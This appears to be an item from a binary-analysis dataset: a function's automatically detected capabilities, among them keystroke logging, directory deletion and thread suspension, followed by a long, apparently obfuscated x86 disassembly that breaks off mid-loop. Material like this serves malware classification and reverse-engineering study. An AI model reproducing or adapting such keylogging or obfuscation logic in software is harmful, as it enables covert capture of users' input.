Function at 0x1003188e
Capabilities:
Accept command line arguments
Check os version
Create process on windows
Delete directory
Enumerate gui resources
Extract resource via kernel32 functions
Get disk information
Get file attributes
Get keyboard layout
Log keystrokes
Log keystrokes via polling
Read .ini file
Suspend thread

Disassembly:
mov eax, 0x1008a019
call fcn.100899cc
mov eax, 0x13a0
call fcn.10084b20
push 4
xor eax, eax
mov byte [ebp - 0xb1], dl
pop edx
mov dword [ebp - 0x10], eax
push 6
mov dword [ebp - 0x58], ecx
pop ecx
cmp dword [ebp - 0x10], edx
jge 0x100318cf
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8f4], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x100318bb
xor eax, eax
push 5
pop ecx
push 1
mov dword [ebp - 0x8ec], ecx
pop ecx
jmp 0x1003194d
mov dword [ebp - 0x24], 0xf4a8b108
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10031906
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xcec], 0x4b13281d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100318ed
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10031941
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jge 0x1003193e
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jl 0x10031939
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0xcec], 0
jne 0x10031937
dec dword [ebp - 0x10]
jns 0x10031925
xor eax, eax
inc dword [ebp - 0x18]
js 0x1003191a
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe6
jg 0x1003190b
inc dword [ebp - 0x8ec]
cmp dword [ebp - 0x8ec], 0xf
jg 0x100318dd
push ebx
push esi
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
mov ebx, 0x1205
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
push edi
mov edi, 0xbf4
je 0x10031988
push ebx
push edi
push 0x12c3
push 0x190d
call esi
xor ecx, ecx
xor eax, eax
push 4
inc ecx
pop edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x100319a8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x90c], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x10031990
xor eax, eax
mov dword [ebp - 0x904], 5
jmp 0x10031a24
mov dword [ebp - 0x24], 0xf4a8b108
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x100319dd
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd04], 0x4b13281d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100319c4
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10031a18
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jge 0x10031a15
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jl 0x10031a10
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0xd04], 0
jne 0x10031a0e
dec dword [ebp - 0x10]
jns 0x100319fc
xor eax, eax
inc dword [ebp - 0x18]
js 0x100319f1
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe6
jg 0x100319e2
inc dword [ebp - 0x904]
cmp dword [ebp - 0x904], 0xf
jg 0x100319b4
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10031a49
push ebx
push edi
push 0x12c3
push 0x190d
call esi
push 4
xor eax, eax
pop edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x10031a69
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x854], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x10031a51
xor eax, eax
mov dword [ebp - 0x84c], 5
cmp dword [ebp - 0x84c], 0xf
jle 0x10031af8
xor edx, edx
inc edx
mov dword [ebp - 0x24], 0xf4a8b108
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10031aa8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd18], 0x4b13281d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10031a8f
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10031ae3
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jge 0x10031ae0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], eax
jl 0x10031adb
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0xd18], 0
jne 0x10031ad9
dec dword [ebp - 0x10]
jns 0x10031ac7
xor eax, eax
inc dword [ebp - 0x18]
js 0x10031abc
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe6
jg 0x10031aad
inc dword [ebp - 0x84c]
cmp dword [ebp - 0x84c], 0xf
jg 0x10031a7f
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10031b11
push ebx
push edi
push 0x12c3
push 0x190d
call esi
xor eax, eax
mov dword [ebp - 0x1c], 5
or edi, 0xffffffff
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x54], 0xa7ab5bf7
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 6
push 2
pop ebx
jge 0x10031c43
xor esi, esi
push 6
inc esi
pop edi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10031b65
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x884], 0x997736ea
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10031b4d
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10031b7b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x88c], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10031b6a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x24]
imul eax, eax, 0xfffb
sub eax, dword [ebp - 0x54]
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul ecx, eax, 0xffff
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, 0x7d3709e8
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x880], ecx
mov eax, dword [ebp - 0x888]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
mov dword [ebp - 0x880], ecx
mov eax, dword [ebp - 0x4c]
add eax, ecx
je 0x10031c1e
mov eax, dword [ebp - 0x888]
xor ecx, ecx
cmp eax, 0x4c3dc4d7
setne cl
cmp ecx, ebx
jb 0x10031c1e
mov ecx, esi
jmp 0x10031c22
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
imul eax, ecx
push 0
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], edi
jl 0x10031b42
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
or edi, 0xffffffff
mov dword [ebp - 0x54], edi
xor edx, edx
inc edx
mov ecx, 0xffff
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], 0x3a34c865
mov dword [ebp - 0x4c], 0x85ed0657
mov dword [ebp - 0x864], edx
mov dword [ebp - 0x860], edx
mov dword [ebp - 0x85c], edx
mov dword [ebp - 0x858], edx
mov dword [ebp - 0x24], ecx
push 3
mov dword [ebp - 0x34], 0xb65cab43
mov dword [ebp - 0x10], eax
pop edi
jmp 0x10031c9a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x6bc], 0xfffffffb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10031c89
mov eax, dword [ebp - 0x6b4]
mov eax, dword [ebp - 0x6bc]
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x54], eax
jle 0x10031cc5
cmp dword [ebp - 0x6bc], eax
je 0x10031cc5
mov eax, edx
add eax, 0x82b357f0
mov dword [ebp - 0x28], eax
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x10031cda
mov eax, dword [ebp - 0x6bc]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp - 0x864]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
sub eax, 0x6c28cbd6
cmp eax, 0x457102d1
setge cl
sub ecx, dword [ebp - 0x6b4]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x85c], ecx
mov dword [ebp - 0x1c], 0x6d44418
mov dword [ebp - 0x28], 0xeec80f21
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x10031d4d
xor esi, esi
inc esi
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd8], 0xd5464b5f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10031d2f
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x10031e7c
or esi, 0xffffffff
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x54], 0xfffffffe
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xd8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xd8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xd8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xd8]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], 0xa63a74ad
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xd8]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xd8]
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0xd8]
jne 0x10031e31
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xd8], 0
je 0x10031e31
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10031e16
cmp byte [ebp - 0x4d], 0
je 0x10031dfb
push eax
call dword [sym.imp.GDI32.dll_GetObjectType]
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10031e13
push eax
push eax
push 0x1bf8
call dword [sym.imp.ADVAPI32.dll_CopySid]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
mov byte [ebp - 0x4d], al
jle 0x10031dec
cmp byte [ebp - 0x4d], 0
je 0x10031e6b
push 0x250c
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x10031e6b
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10031e53
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1154], 0xfffffffe
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10031e3b
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10031e65
mov dword [ebp - 0x28], 0x417f95e1
dec dword [ebp - 0x28]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x1a
jg 0x10031e58
dec dword [ebp - 0x1c]
jns 0x10031d5c
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x3c], 0xb7c7
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x3c], eax
je 0x10031f92
mov dword [ebp - 0x18], 9
mov dword [ebp - 0x54], 0xfffffff8
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffff5
jg 0x10032087
xor esi, esi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x4c], 0x4320e32c
mov dword [ebp - 0x10], 0xffffffee
cmp dword [ebp - 0x10], 0xffffffef
jl 0x10031f7a
mov dword [ebp - 0x740], eax
mov dword [ebp - 0x73c], eax
mov dword [ebp - 0x738], eax
mov dword [ebp - 0x734], eax
mov dword [ebp - 0x24], eax
jmp 0x10031ef4
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd2c], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10031ee7
mov eax, dword [ebp - 0x73c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x738]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x738]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x738]
sub eax, dword [ebp - 0x54]
jne 0x10031f29
mov ecx, eax
cmp dword [ebp - 0x10], eax
je 0x10031f2c
lea ecx, [esi + 1]
xor edx, edx
mov dword [ebp - 0xd2c], ecx
mov eax, dword [ebp - 0x18]
cmp eax, ecx
push 0
setne dl
sub edx, dword [ebp - 0x54]
add edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, 0xd38c
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
cmp edx, eax
pop eax
setle cl
mov dword [ebp - 0x18], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffef
jge 0x10031eca
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff5
jle 0x10031eaf
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
jmp 0x10032087
xor eax, eax
inc eax
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], eax
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x324]
mov eax, dword [ebp - 0x10]
add eax, ecx
cmp dword [ebp - 0x330], eax
jl 0x10031fd4
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10031fd4
mov edx, eax
jmp 0x10031fd9
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, dword [ebp - 0x328]
jle 0x10031ffa
cmp dword [ebp - 0x324], eax
jne 0x10031ffa
lea ecx, [eax + 1]
jmp 0x10031ffc
mov ecx, eax
mov eax, 0xa8fa
sub eax, ecx
je 0x10032048
mov dword [ebp - 0x3c], edi
xor eax, eax
cmp dword [ebp - 0x3c], eax
jl 0x10032089
mov dword [ebp - 0x10], eax
jmp 0x1003202c
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10032029
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jle 0x10032014
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x330], 0
jne 0x10032087
dec dword [ebp - 0x3c]
push 0
pop eax
jns 0x1003200f
jmp 0x10032087
xor eax, eax
mov dword [ebp - 0x10], eax
inc eax
cmp dword [ebp - 0x10], eax
jge 0x10032072
xor esi, esi
inc esi
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x610], 0xb9a2f725
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10032056
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
mov eax, dword [ebp - 0x610]
mov eax, dword [ebp - 0x330]
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x4c], eax
xor eax, eax
xor edi, edi
inc edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x28], 0x7e6ef1f7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x100320bf
xor esi, esi
inc esi
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x68], 0x5b57fd54
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100320a1
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x100323f1
mov dword [ebp - 0x1c], ebx
xor esi, esi
mov dword [ebp - 0x44], 0x9f8c5172
mov dword [ebp - 0x48], 0xfffffffd
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x68], esi
je 0x100320f4
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x68], esi
jne 0x100320f4
mov eax, edi
jmp 0x100320f6
xor eax, eax
cmp eax, 0xfffffffc
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, ebx
mov eax, dword [ebp - 0x68]
setge cl
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x68]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setl dl
sub edx, dword [ebp + eax*4 - 0x68]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x68]
cmp eax, edx
setg cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x100323dd
mov dword [ebp - 0x20], 0x8fb8
mov dword [ebp - 0x3c], 0xd8d92426
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x68]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
je 0x10032179
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setne dl
xor eax, eax
sub edx, dword [ebp - 0x3c]
cmp edx, 0xa81d
setl al
cmp eax, dword [ebp - 0x68]
je 0x100321ad
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x100321af
mov eax, edi
mov dword [ebp - 0x44], eax
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
or ebx, 0xffffffff
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x68]
cmp eax, ebx
mov eax, dword [ebp - 0x20]
setl cl
sub edx, ecx
cmp edi, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
setl cl
xor eax, eax
sub ecx, dword [ebp - 0x3c]
cmp ecx, 0x6ba05392
jg 0x100321f8
cmp dword [ebp - 0x3c], eax
je 0x100321f8
xor edi, edi
lea edx, [eax + 1]
inc edi
jmp 0x100321fa
mov edx, eax
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x20]
neg ecx
cmp ecx, dword [ebp - 0x30]
jle 0x10032366
mov dword [ebp - 0x40], 0x890aaf75
mov dword [ebp - 0x28], 0xad5889e5
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x68]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x68], ecx
je 0x10032240
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10032242
mov eax, edi
jmp 0x10032242
xor eax, eax
mov dword [ebp - 0x3c], eax
xor edx, edx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, ebx
mov ecx, 0xec6b039b
setne dl
sub eax, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setne cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x33
jg 0x100323cc
push 0xfffffffffffffffa
pop esi
mov dword [ebp - 0x28], 0x2d7faeff
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x34], esi
push 5
pop eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
sub eax, 0xd1e
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x40]
test eax, eax
je 0x10032351
mov dword [ebp - 0x28], 0xaf6502fc
mov dword [ebp - 0x44], 0xd
jmp 0x10032309
mov dword [ebp - 0x4c], 0xfffffffd
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x10032306
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], esi
jne 0x100322e8
mov dword [ebp - 0x3c], 0x7236
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
cmp eax, 0x8a9b
setge cl
imul ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x10032338
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
inc eax
inc eax
je 0x10032338
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x28], 0x2da2ea9
cmp dword [ebp - 0x28], 0x8c34f7c3
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
jmp 0x10032357
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x33
jle 0x10032280
jmp 0x100323ca
mov dword [ebp - 0x54], edi
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x10032384
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, ebx
setl cl
xor eax, eax
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
je 0x10032386
mov eax, edi
add eax, 0x414c507b
jne 0x10032390
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
xor ebx, ebx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x68]
cmp eax, 0xcfc2
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
setg bl
xor edx, edx
neg ebx
cmp ecx, eax
setg dl
xor eax, eax
imul edx, dword [ebp - 0x54]
cmp ebx, edx
setg al
mov dword [ebp - 0x44], eax
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x10032146
push 2
xor eax, eax
pop ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x100320cb
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
xor eax, eax
push 4
mov dword [ebp - 0x10], eax
pop edx
cmp dword [ebp - 0x10], edx
jge 0x10032414
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x94c], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x100323fc
xor eax, eax
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10032440
xor esi, esi
inc esi
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb0], 0x1f7e2799
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10032422
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
xor eax, eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x1a
push 0xfffffffffffffff9
pop edi
jge 0x100325f3
xor esi, esi
inc esi
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x28], 0xddb74a71
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10032489
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x4a0], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10032470
xor eax, eax
mov dword [ebp - 0x40], 0x15
jmp 0x100325a1
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x100324b8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa0], 0xc14173bf
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100324a0
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x100325ab
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], ebx
jg 0x1003259e
push 6
pop esi
mov dword [ebp - 0x28], 0x211e9a9d
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp + eax*4 - 0x4a0]
mov eax, dword [ebp - 0xa0]
cmp dword [ebp + eax*4 - 0x4a0], 0
je 0x10032526
mov ecx, dword [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0xa0]
cmp ecx, eax
setg dl
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp + eax*4 - 0x4a0]
mov eax, dword [ebp - 0x498]
xor edx, edx
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp + eax*4 - 0x4a0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x49c]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
cmp eax, 0x2742
mov eax, dword [ebp - 0x40]
setne dl
sub edx, esi
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0xa0]
cmp dword [ebp - 0xa0], ebx
jle 0x100324d6
xor esi, esi
xor eax, eax
push 4
inc esi
pop edx
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffe3
je 0x10032495
mov eax, dword [ebp - 0xb0]
xor edx, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0xb0]
setg dl
xor ecx, ecx
cmp edx, eax
push 0
setl cl
pop eax
mov dword [ebp - 0x40], ecx
inc dword [ebp - 0xb0]
cmp dword [ebp - 0xb0], 0x1a
push 4
pop edx
jl 0x10032459
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov dword [ebp - 0x944], 5
cmp dword [ebp - 0x944], 0xf
jle 0x100331b6
jmp 0x10032617
push 4
xor eax, eax
pop edx
mov dword [ebp - 0x10], 0xbf25cbd9
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x24], eax
jmp 0x10032637
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3d4], 0xa876e6ba
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10032626
mov ecx, dword [ebp - 0x3d0]
mov dword [ebp - 0x3d4], ecx
mov eax, dword [ebp - 0x10]
sub ecx, eax
xor eax, eax
cmp ecx, dword [ebp - 0x10]
jg 0x10032682
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x10], eax
inc eax
jmp 0x10032667
inc dword [ebp - 0x28]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
